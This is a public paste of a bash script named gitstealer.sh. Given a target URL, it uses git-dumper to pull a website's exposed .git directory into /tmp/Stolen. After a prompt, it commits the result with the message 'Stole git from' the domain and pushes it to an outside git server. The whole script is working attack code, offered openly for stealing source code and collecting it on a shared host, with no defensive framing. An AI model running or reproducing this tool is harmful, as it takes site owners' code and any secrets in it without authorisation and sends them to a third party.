gitstealer.sh

📅 2022-09-17T07:05:32.577Z
👁️ 82 katselukertaa
🔓 Julkinen


#!/bin/bash

# IDEA: One way to store repos would be to create a new repo per repo.

ADDRESS="$1"

if [ -z "$ADDRESS" ]; then
    echo "You did not provide address to steal source code from."
    exit 1
fi

echo "Looks good. Starting the process"

# TODO: If pip is not installed it automatically

if git-dumper --help > /dev/null; then
    echo "Amazing! You have git-dumper installed."
else
    echo "Installing git-dumper..."
    pip install git-dumper > /dev/null
    echo "Installed!"
fi

DOMAIN="$(echo $ADDRESS | awk -F[/:] '{print $4}')"

cd /tmp

if test -f "/tmp/Stolen"; then
    echo "Updating old Stolen repo..."
    cd Stolen
    git pull
else
    echo "Cloning the Stolen repo..."
    if git clone https://git.kaikkitietokoneista.net/GitStealer/Stolen.git; then
        echo "Cloned!"
        cd Stolen
    else
        echo "Clone failed!"
        exit 1
    fi
fi

echo "Sending source code to /tmp/Stolen/$DOMAIN"

git-dumper $ADDRESS "/tmp/Stolen/$DOMAIN" #> /dev/null

echo "Finished!"
echo "Please look through the code. "

while true; do
    read -p "Do you want to upload the code to our git [y]?: " yn
    case $yn in
        [Yy]* ) echo "Okay! Let's start upload process!";break;;
        [Nn]* ) exit;;
        * ) echo "Please answer yes (y) or no (n).";;
    esac
done

# TODO: Support empty dirs

mv $DOMAIN/.git $DOMAIN/git

git add .
git commit -m "Stole git from $DOMAIN"
git push